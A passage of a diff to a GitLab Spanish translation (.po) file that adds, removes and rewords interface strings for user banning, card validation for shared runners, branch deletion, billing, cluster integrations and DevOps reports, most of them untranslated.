-msgid "AdminSettings|Some settings have moved"
-msgstr ""
-
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
msgstr "Especifique un dominio para utilizar por defecto durante las etapas despliegue automático de cada proyecto y las de los mismos."
@@ -2420,6 +2431,9 @@ msgstr "Fragmentos de código"
msgid "AdminUsers|(Admin)"
msgstr "AdminUsers|(Admin)"
+msgid "AdminUsers|(Banned)"
+msgstr ""
+
msgid "AdminUsers|(Blocked)"
msgstr "AdminUsers|(Bloqueado)"
@@ -2438,6 +2452,9 @@ msgstr "2FA desactivado"
msgid "AdminUsers|2FA Enabled"
msgstr "2FA Habilitado"
+msgid "AdminUsers|A user can validate themselves by inputting a credit/debit card, or an admin can manually validate a user."
+msgstr ""
+
msgid "AdminUsers|Access"
msgstr "Acceso"
@@ -2486,6 +2503,21 @@ msgstr "AdminUsers|¿Está seguro?"
msgid "AdminUsers|Automatically marked as default internal user"
msgstr ""
+msgid "AdminUsers|Ban"
+msgstr ""
+
+msgid "AdminUsers|Ban user"
+msgstr ""
+
+msgid "AdminUsers|Ban user %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Banned"
+msgstr ""
+
+msgid "AdminUsers|Banning the user has the following effects:"
+msgstr ""
+
msgid "AdminUsers|Be added to groups and projects"
msgstr "Ser añadido a grupos y proyectos"
@@ -2516,6 +2548,9 @@ msgstr "No se pueden desbloquear los usuarios bloqueados de LDAP"
msgid "AdminUsers|Cohorts"
msgstr ""
+msgid "AdminUsers|Could not load user group counts. Please refresh the page to try again."
+msgstr ""
+
msgid "AdminUsers|Deactivate"
msgstr "Desactivar"
@@ -2570,6 +2605,9 @@ msgstr "Está utilizando un asiento"
msgid "AdminUsers|It's you!"
msgstr "¡Es usted!"
+msgid "AdminUsers|Learn more about %{link_start}banned users.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Log in"
msgstr "AdminUsers|Iniciar sesión"
@@ -2651,6 +2689,15 @@ msgstr "Para confirmar, escriba %{projectName}"
msgid "AdminUsers|To confirm, type %{username}"
msgstr "Para confirmar, escriba %{username}"
+msgid "AdminUsers|Unban"
+msgstr ""
+
+msgid "AdminUsers|Unban %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Unban user"
+msgstr ""
+
msgid "AdminUsers|Unblock"
msgstr ""
@@ -2666,6 +2713,12 @@ msgstr ""
msgid "AdminUsers|Unlock user %{username}?"
msgstr ""
+msgid "AdminUsers|User is validated and can use free CI minutes on shared runners."
+msgstr ""
+
+msgid "AdminUsers|User will be blocked"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr "El usuario no podrá acceder a los repositorios git"
@@ -2678,6 +2731,9 @@ msgstr ""
msgid "AdminUsers|Users can still be invited to your instance and/or add themselves if permitted based on your settings. They will not have access to your instance, nor count towards your subscribed seat count until you %{approve_link}."
msgstr ""
+msgid "AdminUsers|Validate user account"
+msgstr ""
+
msgid "AdminUsers|View pending member requests"
msgstr ""
@@ -2702,6 +2758,9 @@ msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
+msgid "AdminUsers|You ban their account in the future if necessary."
+msgstr ""
+
msgid "AdminUsers|You can always block their account again if needed."
msgstr ""
@@ -2714,6 +2773,9 @@ msgstr ""
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr "Siempre puede desbloquear su cuenta, sus datos permanecerán intactos."
+msgid "AdminUsers|You can unban their account in the future. Their data remains intact."
+msgstr ""
+
msgid "AdminUsers|You cannot remove your own admin rights."
msgstr ""
@@ -2759,9 +2821,6 @@ msgstr "Avanzado"
msgid "Advanced Search"
msgstr "Búsqueda Avanzada"
-msgid "Advanced Search with Elasticsearch"
-msgstr "Búsqueda avanzada con Elasticsearch"
-
msgid "Advanced Settings"
msgstr "Configuración avanzada"
@@ -2800,9 +2859,6 @@ msgid_plural "Alerts"
msgstr[0] "Alerta"
msgstr[1] "Alertas"
-msgid "Alert integrations"
-msgstr ""
-
msgid "AlertManagement|Acknowledged"
msgstr "Confirmado"
@@ -3172,9 +3228,6 @@ msgstr "Todos los entornos"
msgid "All epics"
msgstr "Todas las tareas épicas"
-msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
-msgstr "Todas las funcionalidades están habilitadas para proyectos en blanco, plantillas, o al importar, pero puedes deshabilitarlas posteriormente en la configuración del proyecto."
-
msgid "All groups and projects"
msgstr "Todos los grupos y proyectos"
@@ -3277,6 +3330,9 @@ msgstr "Permitido"
msgid "Allowed Geo IP"
msgstr "Geo IP permitida"
+msgid "Allowed characters: +, 0-9, -, and spaces."
+msgstr ""
+
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr "Sólo los grupos de nivel superior pueden restringir los dominios de correo electrónico permitidos"
@@ -3490,6 +3546,9 @@ msgstr "Se ha producido un error al obtener los colores de las etiquetas."
msgid "An error occurred while fetching markdown preview"
msgstr "Se ha producido un error al obtener la previsualización del markdown."
+msgid "An error occurred while fetching participants"
+msgstr ""
+
msgid "An error occurred while fetching participants."
msgstr ""
@@ -3583,9 +3642,6 @@ msgstr "Se ha producido un error al cargar las incidencias"
msgid "An error occurred while loading merge requests."
msgstr "Se ha producido un error al cargar los merge requests."
-msgid "An error occurred while loading project creation UI"
-msgstr "Se ha producido un error al cargar la interfaz de creación del proyecto"
-
msgid "An error occurred while loading the access tokens form, please try again."
msgstr ""
@@ -3655,7 +3711,7 @@ msgstr "Se ha producido un error al renderizar el editor"
msgid "An error occurred while reordering issues."
msgstr "Se ha producido un error al ordenar las incidencias."
-msgid "An error occurred while requesting data from the Jira service"
+msgid "An error occurred while requesting data from the Jira service."
msgstr ""
msgid "An error occurred while retrieving calendar activity"
@@ -4128,6 +4184,9 @@ msgstr "Aprobador"
msgid "Approvers"
msgstr "Aprobadores"
+msgid "Approvers from private group(s) not shown"
+msgstr ""
+
msgid "Apr"
msgstr "Abril"
@@ -4158,16 +4217,13 @@ msgstr ""
msgid "Archived in this version"
msgstr "Archivado en esta versión"
-msgid "Archived project! Repository and other project resources are read only"
-msgstr "¡Proyecto archivado! El repositorio y otros recursos del proyecto son de sólo lectura"
-
msgid "Archived project! Repository and other project resources are read-only"
msgstr "¡Proyecto archivado!. El repositorio y el resto de recursos del proyecto son de sólo lectura"
msgid "Archived projects"
msgstr "Proyectos archivados"
-msgid "Archiving the project will make it entirely read only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
+msgid "Archiving the project will make it entirely read-only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
msgstr ""
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
@@ -4746,7 +4802,7 @@ msgstr "Gestión automática de los certificados utilizando Let's Encrypt"
msgid "Automatic deployment rollbacks"
msgstr ""
-msgid "Automatically close incidents when the associated Prometheus alert resolves."
+msgid "Automatically close associated incident when a recovery alert notification resolves an alert"
msgstr ""
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
@@ -4815,6 +4871,9 @@ msgstr "Color de fondo"
msgid "Background Jobs"
msgstr "Trabajos de fondo"
+msgid "Background Migrations"
+msgstr ""
+
msgid "Background color"
msgstr "Color de fondo"
@@ -4971,6 +5030,9 @@ msgstr ""
msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
msgstr ""
+msgid "BillingPlans|Compare all plans"
+msgstr ""
+
msgid "BillingPlans|Congratulations, your free trial is activated."
msgstr "Enhorabuena, su plan de prueba está activado."
@@ -4989,6 +5051,9 @@ msgstr ""
msgid "BillingPlans|Learn more about each plan by visiting our %{pricing_page_link}."
msgstr "Obtenga más información sobre cada plan visitando nuestro %{pricing_page_link}."
+msgid "BillingPlans|Looking to purchase or manage a subscription for your group? Navigate to your %{groups_link} and go to %{strong_open}Settings &gt; Billing.%{strong_close}"
+msgstr ""
+
msgid "BillingPlans|Manage plan"
msgstr "Gestionar plan"
@@ -5004,6 +5069,9 @@ msgstr "Este grupo utiliza el mismo plan asociado que su grupo principal."
msgid "BillingPlans|To manage the plan for this group, visit the billing section of %{parent_billing_page_link}."
msgstr "Para administrar el plan de este grupo, por favor visite la sección de facturación de %{parent_billing_page_link}."
+msgid "BillingPlans|Upgrade to GitLab %{planNameForUpgrade}"
+msgstr ""
+
msgid "BillingPlans|While GitLab is ending availability of the Bronze plan, you can still renew your Bronze subscription one additional time before %{eoa_bronze_plan_end_date}. We are also offering a limited time free upgrade to our Premium Plan (up to 25 users)! Learn more about the changes and offers in our %{announcement_link}."
msgstr ""
@@ -5022,6 +5090,9 @@ msgstr ""
msgid "BillingPlans|frequently asked questions"
msgstr "preguntas frecuentes"
+msgid "BillingPlans|group"
+msgstr ""
+
msgid "BillingPlans|monthly"
msgstr "mensual"
@@ -5037,6 +5108,27 @@ msgstr "Actualizar"
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd}"
+msgstr ""
+
+msgid "Billings|User successfully validated"
+msgstr ""
+
+msgid "Billings|User validation required"
+msgstr ""
+
+msgid "Billings|Validate account"
+msgstr ""
+
+msgid "Billings|Validate user account"
+msgstr ""
+
+msgid "Billings|Your user account has been successfully validated. You can now use free pipeline minutes."
+msgstr ""
+
msgid "Billing|An email address is only visible for users with public emails."
msgstr ""
@@ -5049,6 +5141,9 @@ msgstr ""
msgid "Billing|An error occurred while removing a billable member"
msgstr ""
+msgid "Billing|Cannot remove user"
+msgstr ""
+
msgid "Billing|Direct memberships"
msgstr ""
@@ -5058,6 +5153,12 @@ msgstr ""
msgid "Billing|Group"
msgstr ""
+msgid "Billing|Group invite"
+msgstr ""
+
+msgid "Billing|Members who were invited via a group invitation cannot be removed. You can either remove the entire group, or ask an Owner of the invited group to remove the member."
+msgstr ""
+
msgid "Billing|No users to display."
msgstr ""
@@ -5286,6 +5387,9 @@ msgstr "Branches activos"
msgid "Branches|All"
msgstr "Todas"
+msgid "Branches|Cancel, keep branch"
+msgstr ""
+
msgid "Branches|Cant find HEAD commit for this branch"
msgstr "No puedo encontrar el commit HEAD para esta rama"
@@ -5298,6 +5402,9 @@ msgstr "Borrar todas las ramas que se fusionen con '%{default_branch}'"
msgid "Branches|Delete branch"
msgstr "Eliminar la rama"
+msgid "Branches|Delete branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
msgid "Branches|Delete merged branches"
msgstr "Borrar ramas fusionadas"
@@ -5307,6 +5414,12 @@ msgstr "Borrar rama protegida"
msgid "Branches|Delete protected branch '%{branch_name}'?"
msgstr "¿Borrar rama protegida '%{branch_name}'?"
+msgid "Branches|Delete protected branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
+msgid "Branches|Deleting the %{strongStart}%{branchName}%{strongEnd} branch cannot be undone. Are you sure?"
+msgstr ""
+
msgid "Branches|Deleting the '%{branch_name}' branch cannot be undone. Are you sure?"
msgstr "El borrado de la rama '%{branch_name}' no podrá deshacerse. ¿Está seguro?"
@@ -5328,12 +5441,18 @@ msgstr "No hay ramas para mostrar"
msgid "Branches|Once you confirm and press %{delete_protected_branch}, it cannot be undone or recovered."
msgstr "Una vez que confirme y pulse %{delete_protected_branch}, no se podrá ni deshacer ni recuperar la operación."
+msgid "Branches|Once you confirm and press %{strongStart}%{buttonText},%{strongEnd} it cannot be undone or recovered."
+msgstr ""
+
msgid "Branches|Only a project maintainer or owner can delete a protected branch"
msgstr "Sólo el responsable del proyecto o el propietario pueden borrar una rama protegida"
msgid "Branches|Overview"
msgstr "Descripción general"
+msgid "Branches|Please type the following to confirm:"
+msgstr ""
+
msgid "Branches|Protected branches can be managed in %{project_settings_link}."
msgstr "Puede gestionar las ramas protegidas desde %{project_settings_link}."
@@ -5367,6 +5486,9 @@ msgstr "No ha sido posible actualizar automáticamente la rama porque ha divergi
msgid "Branches|The default branch cannot be deleted"
msgstr "No se puede eliminar la rama por defecto"
+msgid "Branches|This branch hasn’t been merged into %{defaultBranchName}. To avoid data loss, consider merging this branch before deleting it."
+msgstr ""
+
msgid "Branches|This branch hasn’t been merged into %{default_branch}."
msgstr "Esta rama no se ha mergeado con %{default_branch}."
@@ -5379,6 +5501,18 @@ msgstr "Para confirmar, teclee %{branch_name_confirmation}:"
msgid "Branches|To discard the local changes and overwrite the branch with the upstream version, delete it here and choose 'Update Now' above."
msgstr "Para descartar los cambios locales y sobreescribir la rama actual en el servidor, elimínela aquí y seleccione 'Actualizar ahora' en el enlace situado la parte superior."
+msgid "Branches|Yes, delete branch"
+msgstr ""
+
+msgid "Branches|Yes, delete protected branch"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the protected branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
msgid "Branches|You’re about to permanently delete the protected branch %{branch_name}."
msgstr "Va a eliminar de forma permanente la rama protegida %{branch_name}."
@@ -5448,6 +5582,9 @@ msgstr ""
msgid "BulkImport|From source group"
msgstr ""
+msgid "BulkImport|Import %{groups}"
+msgstr ""
+
msgid "BulkImport|Import failed: Destination cannot be a subgroup of the source group. Change the destination and try again."
msgstr ""
@@ -5460,9 +5597,15 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr ""
+msgid "BulkImport|No groups on this page are available for import"
+msgstr ""
+
msgid "BulkImport|No parent"
msgstr ""
+msgid "BulkImport|One or more groups has validation errors"
+msgstr ""
+
msgid "BulkImport|Showing %{start}-%{end} of %{total}"
msgstr ""
@@ -5529,9 +5672,6 @@ msgstr "Por %{user_name}"
msgid "By authenticating with an account tied to an Enterprise e-mail address, it is understood that this account is an Enterprise User. "
msgstr ""
-msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
-msgstr ""
-
msgid "By default GitLab sends emails in HTML and plain text formats so mail clients can choose what format to use. Disable this option if you only want to send emails in plain text format."
msgstr "De forma predeterminada, GitLab envía correos electrónicos en formatos HTML y de texto sin formato para que los clientes de correo puedan elegir qué formato utilizar. Desactive esta opción sí solo desea enviar correos electrónicos sin formato."
@@ -5580,15 +5720,15 @@ msgstr "Configuración de CI/CD"
msgid "CI/CD configuration file"
msgstr ""
-msgid "CI/CD for external repo"
-msgstr "CI/CD para repositorio externo"
-
msgid "CICDAnalytics|%{percent}%{percentSymbol}"
msgstr ""
msgid "CICDAnalytics|All time"
msgstr ""
+msgid "CICDAnalytics|Deployment frequency"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -5597,6 +5737,9 @@ msgid_plural "CICDAnalytics|Releases"
msgstr[0] ""
msgstr[1] ""
+msgid "CICDAnalytics|Release statistics"
+msgstr ""
+
msgid "CICDAnalytics|Releases"
msgstr ""
@@ -6290,8 +6433,8 @@ msgstr ""
msgid "Choose File..."
msgstr ""
-msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
-msgstr "Elija un branch/tag (por ejemplo, %{master}) o introduzca un commit (por ejemplo, %{sha}) para ver lo qué ha cambiado o para crear un merge request."
+msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
+msgstr ""
msgid "Choose a file"
msgstr "Seleccione un archivo"
@@ -6674,72 +6817,6 @@ msgstr "Cierra este %{quick_action_target}."
msgid "Cloud licenses can not be removed."
msgstr ""
-msgid "CloudLicense|Activate"
-msgstr ""
-
-msgid "CloudLicense|Activate subscription"
-msgstr ""
-
-msgid "CloudLicense|Activation code"
-msgstr ""
-
-msgid "CloudLicense|Billable users"
-msgstr ""
-
-msgid "CloudLicense|Buy subscription"
-msgstr ""
-
-msgid "CloudLicense|Free trial"
-msgstr ""
-
-msgid "CloudLicense|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
-msgstr ""
-
-msgid "CloudLicense|Learn how to %{linkStart}activate your subscription%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|Maximum users"
-msgstr ""
-
-msgid "CloudLicense|Paste your activation code"
-msgstr ""
-
-msgid "CloudLicense|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
-msgstr ""
-
-msgid "CloudLicense|Start free trial"
-msgstr ""
-
-msgid "CloudLicense|Subscription"
-msgstr ""
-
-msgid "CloudLicense|This is the highest peak of users on your installation since the license started."
-msgstr ""
-
-msgid "CloudLicense|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
-msgstr ""
-
-msgid "CloudLicense|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Sync service%{linkEnd}, a hassle-free way to manage your subscription."
-msgstr ""
-
-msgid "CloudLicense|Users in subscription"
-msgstr ""
-
-msgid "CloudLicense|Users over subscription"
-msgstr ""
-
-msgid "CloudLicense|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
-msgstr ""
-
-msgid "CloudLicense|You can start a free trial of GitLab Ultimate without any obligation or payment details."
-msgstr ""
-
-msgid "CloudLicense|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
-msgstr ""
-
msgid "Cluster"
msgstr "Clúster"
@@ -6902,6 +6979,12 @@ msgstr ""
msgid "ClusterIntegration|Allow GitLab to manage namespaces and service accounts for this cluster."
msgstr ""
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Elasticsearch for pod logs."
+msgstr ""
+
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
+msgstr ""
+
msgid "ClusterIntegration|Alternatively, "
msgstr ""
@@ -6944,12 +7027,6 @@ msgstr "Error de autenticación"
msgid "ClusterIntegration|Base domain"
msgstr "Dominio base"
-msgid "ClusterIntegration|Before you enable this integration, follow the %{link_start}documented process%{link_end}."
-msgstr ""
-
-msgid "ClusterIntegration|Blocking mode"
-msgstr "Modo de bloqueo"
-
msgid "ClusterIntegration|CA Certificate"
msgstr "Certificado CA"
@@ -7112,6 +7189,9 @@ msgstr "Stack de Elastic"
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
+msgid "ClusterIntegration|Enable Elastic Stack integration"
+msgstr ""
+
msgid "ClusterIntegration|Enable Prometheus integration"
msgstr ""
@@ -7196,9 +7276,6 @@ msgstr ""
msgid "ClusterIntegration|GitLab-managed cluster"
msgstr "Cluster de GitLab administrado"
-msgid "ClusterIntegration|Global default"
-msgstr ""
-
msgid "ClusterIntegration|Google Cloud Platform project"
msgstr "Proyecto de Google Cloud Platform"
@@ -7259,7 +7336,7 @@ msgstr ""
msgid "ClusterIntegration|Integration enabled"
msgstr ""
-msgid "ClusterIntegration|Integrations enable you to integrate your cluster as part of your GitLab workflow."
+msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
msgid "ClusterIntegration|Issuer Email"
@@ -7355,9 +7432,6 @@ msgstr "Cargando subredes"
msgid "ClusterIntegration|Loading subnetworks"
msgstr "Cargando subredes"
-msgid "ClusterIntegration|Logging mode"
-msgstr ""
-
msgid "ClusterIntegration|Machine type"
msgstr "Tipo de máquina"
@@ -7370,9 +7444,6 @@ msgstr "Asegúrese de que su cuenta %{link_to_requirements} cumple con los requi
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr "Administre su cluster de Kubernetes visitando %{provider_link}"
-msgid "ClusterIntegration|ModSecurity enabled"
-msgstr ""
-
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7469,9 +7540,6 @@ msgstr ""
msgid "ClusterIntegration|Read our %{link_start}help page%{link_end} on Kubernetes cluster integration."
msgstr "Lea nuestra %{link_start}página de ayuda%{link_end} sobre la integración de clusters de Kubernetes."
-msgid "ClusterIntegration|Real-time web application monitoring, logging and access control. %{linkStart}More information%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Remove Kubernetes cluster integration"
msgstr "Eliminar la integración de clústeres de Kubernetes"
@@ -7610,9 +7678,6 @@ msgstr "Seleccione la zona para elegir el tipo de máquina"
msgid "ClusterIntegration|Send Container Network Policies Logs"
msgstr ""
-msgid "ClusterIntegration|Send Web Application Firewall Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr "Token de servicio"
@@ -7625,9 +7690,6 @@ msgstr "El token de servicio es necesario."
msgid "ClusterIntegration|Set a prefix for your namespaces. If not set, defaults to your project path. If modified, existing environments will use their current namespaces until the cluster cache is cleared."
msgstr ""
-msgid "ClusterIntegration|Set the global mode for the WAF in this cluster. This can be overridden at the environmental level."
-msgstr ""
-
msgid "ClusterIntegration|Something went wrong on our end."
msgstr "Algo salió mal de nuestro lado."
@@ -7901,6 +7963,15 @@ msgstr ""
msgid "CodeOwner|Pattern"
msgstr "Patrón"
+msgid "CodeQuality|Code quality"
+msgstr ""
+
+msgid "CodeQuality|New code quality degradations in this file"
+msgstr ""
+
+msgid "CodeQuality|Some changes in this file degrade the code quality."
+msgstr ""
+
msgid "Cohorts|Inactive users"
msgstr "Usuarios inactivos"
@@ -8044,6 +8115,9 @@ msgstr "Cambio"
msgid "CommitMessage|Add %{file_name}"
msgstr "Agregar %{file_name}"
+msgid "CommitMessage|Add %{file_name} and create a code quality job"
+msgstr ""
+
msgid "CommitWidget|authored"
msgstr "autorizado"
@@ -8182,9 +8256,6 @@ msgstr ""
msgid "Compliance framework"
msgstr ""
-msgid "Compliance framework (optional)"
-msgstr ""
-
msgid "Compliance framework (optional)"
msgstr ""
@@ -8305,6 +8376,9 @@ msgstr "Confidencialidad"
msgid "Configuration"
msgstr "Configuración"
+msgid "Configuration help"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr "Configure los ejecutores de GitLab para comenzar a usar el terminal web. %{helpStart}Aprenda más.%{helpEnd}"
@@ -8368,6 +8442,9 @@ msgstr ""
msgid "Configure repository mirroring."
msgstr "Configurar las réplicas del repositorio."
+msgid "Configure settings for Advanced Search with Elasticsearch."
+msgstr ""
+
msgid "Configure specific limits for Packages API requests that supersede the general user and IP rate limits."
msgstr ""
@@ -8525,6 +8602,9 @@ msgstr ""
msgid "ContainerRegistry|%{title} was successfully scheduled for deletion"
msgstr ""
+msgid "ContainerRegistry|-- tags"
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr "Construir una imagen"
@@ -9205,9 +9285,6 @@ msgstr "Crear un nuevo dominio"
msgid "Create Project"
msgstr "Crear proyecto"
-msgid "Create Value Stream"
-msgstr ""
-
msgid "Create a GitLab account first, and then connect it to your %{label} account."
msgstr "Cree primero una cuenta de GitLab y luego conéctela a su cuenta %{label}."
@@ -9238,9 +9315,6 @@ msgstr "Crear un nuevo repositorio"
msgid "Create a personal access token on your account to pull or push via %{protocol}."
msgstr "Crear un token de acceso personal en tu cuenta para actualizar o enviar a través de %{protocol}."
-msgid "Create a project pre-populated with the necessary files to get you started quickly."
-msgstr ""
-
msgid "Create an account using:"
msgstr "Crear una cuenta utilizando:"
@@ -9292,6 +9366,9 @@ msgstr "Crear grupo"
msgid "Create group label"
msgstr "Crear etiqueta de grupo"
+msgid "Create incident"
+msgstr ""
+
msgid "Create issue"
msgstr "Crear incidencia"
@@ -9343,6 +9420,9 @@ msgstr "Crear un nuevo archivo o directorio"
msgid "Create new label"
msgstr "Crear nueva etiqueta"
+msgid "Create new project"
+msgstr ""
+
msgid "Create new..."
msgstr "Crear nuevo..."
@@ -9376,6 +9456,9 @@ msgstr "Crea tu primera página"
msgid "Create your group"
msgstr "Cree su grupo"
+msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
+msgstr ""
+
msgid "Create/import your first project"
msgstr "Cree/importe su primer proyecto"
@@ -9703,27 +9786,6 @@ msgstr "Rango personalizado"
msgid "Custom range (UTC)"
msgstr "Rango personalizado (UTC)"
-msgid "CustomCycleAnalytics|Add a stage"
-msgstr "Añadir una etapa"
-
-msgid "CustomCycleAnalytics|Add stage"
-msgstr "Agregar una etapa"
-
-msgid "CustomCycleAnalytics|Editing stage"
-msgstr "Editar etapa"
-
-msgid "CustomCycleAnalytics|End event label"
-msgstr ""
-
-msgid "CustomCycleAnalytics|New stage"
-msgstr "Nueva etapa"
-
-msgid "CustomCycleAnalytics|Stage name already exists"
-msgstr "El nombre de la etapa ya existe"
-
-msgid "CustomCycleAnalytics|Start event label"
-msgstr "Etiqueta del evento de inicio"
-
msgid "Customer Portal"
msgstr "Portal de cliente"
@@ -9944,9 +10006,15 @@ msgstr "Lista desplegable de las etapas"
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
+msgid "DAST Configuration"
+msgstr ""
+
msgid "DAST Scans"
msgstr ""
+msgid "DAST Settings"
+msgstr ""
+
msgid "DNS"
msgstr "DNS"
@@ -10166,9 +10234,6 @@ msgstr ""
msgid "DastProfiles|Password form field"
msgstr ""
-msgid "DastProfiles|Please enter a valid timeout value"
-msgstr ""
-
msgid "DastProfiles|Profile name"
msgstr ""
@@ -10534,6 +10599,9 @@ msgstr "Eliminar %{name}"
msgid "Delete Comment"
msgstr "Eliminar el comentario"
+msgid "Delete Key"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr ""
@@ -11250,22 +11318,28 @@ msgstr "Aprobaciones"
msgid "DevopsAdoption|Are you sure that you would like to remove %{name} from the table?"
msgstr ""
-msgid "DevopsAdoption|At least 1 MR opened"
+msgid "DevopsAdoption|At least one MR opened"
+msgstr ""
+
+msgid "DevopsAdoption|At least one approval on an MR"
msgstr ""
-msgid "DevopsAdoption|At least 1 approval on an MR"
+msgid "DevopsAdoption|At least one deploy"
msgstr ""
-msgid "DevopsAdoption|At least 1 deploy"
+msgid "DevopsAdoption|At least one issue opened"
msgstr ""
-msgid "DevopsAdoption|At least 1 issue opened"
+msgid "DevopsAdoption|At least one pipeline successfully run"
msgstr ""
-msgid "DevopsAdoption|At least 1 pipeline successfully run"
+msgid "DevopsAdoption|At least one security scan of any type run in pipeline"
msgstr ""
-msgid "DevopsAdoption|At least 1 security scan of any type run in pipeline"
+msgid "DevopsAdoption|Code owners"
+msgstr ""
+
+msgid "DevopsAdoption|Code owners enabled for at least one project"
msgstr ""
msgid "DevopsAdoption|Confirm remove Group"
@@ -11274,6 +11348,9 @@ msgstr ""
msgid "DevopsAdoption|Deploys"
msgstr ""
+msgid "DevopsAdoption|Dev"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
@@ -11301,6 +11378,9 @@ msgstr ""
msgid "DevopsAdoption|Not adopted"
msgstr ""
+msgid "DevopsAdoption|Ops"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11322,6 +11402,9 @@ msgstr ""
msgid "DevopsAdoption|Scanning"
msgstr ""
+msgid "DevopsAdoption|Sec"
+msgstr ""
+
msgid "DevopsAdoption|There was an error enabling the current group. Please refresh the page."
msgstr ""
@@ -11334,21 +11417,33 @@ msgstr ""
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
-msgid "DevopsReport|Adoption"
+msgid "DevopsReport|DevOps Score"
msgstr ""
-msgid "DevopsReport|DevOps"
+msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
msgstr ""
-msgid "DevopsReport|DevOps Score"
+msgid "DevopsReport|High"
msgstr ""
-msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
+msgid "DevopsReport|Leader usage"
+msgstr ""
+
+msgid "DevopsReport|Low"
+msgstr ""
+
+msgid "DevopsReport|Moderate"
msgstr ""
msgid "DevopsReport|Score"
msgstr ""
+msgid "DevopsReport|Your score"
+msgstr ""
+
+msgid "DevopsReport|Your usage"
+msgstr ""
+
msgid "Didn't receive a confirmation email?"
msgstr ""
@@ -11415,15 +11510,15 @@ msgstr ""
msgid "Disable public access to Pages sites"
msgstr "Deshabilitar el acceso público a los sitios de Pages"
-msgid "Disable shared runners"
-msgstr ""
-
msgid "Disable two-factor authentication"
msgstr "Desactivar la autenticación de dos factores"
msgid "Disabled"
msgstr "Deshabilitado"
+msgid "Disabled by %{parent} owner"
+msgstr ""
+
msgid "Disabled mirrors can only be enabled by instance owners. It is recommended that you delete them."
msgstr "Las réplicas deshabilitadas solo pueden ser habilitadas por los propietarios de las instancias. Se recomienda eliminarlas."
@@ -11451,6 +11546,9 @@ msgstr "Notificaciones de Discord"
msgid "DiscordService|Send notifications about project events to a Discord channel."
msgstr ""
+msgid "Discover"
+msgstr ""
+
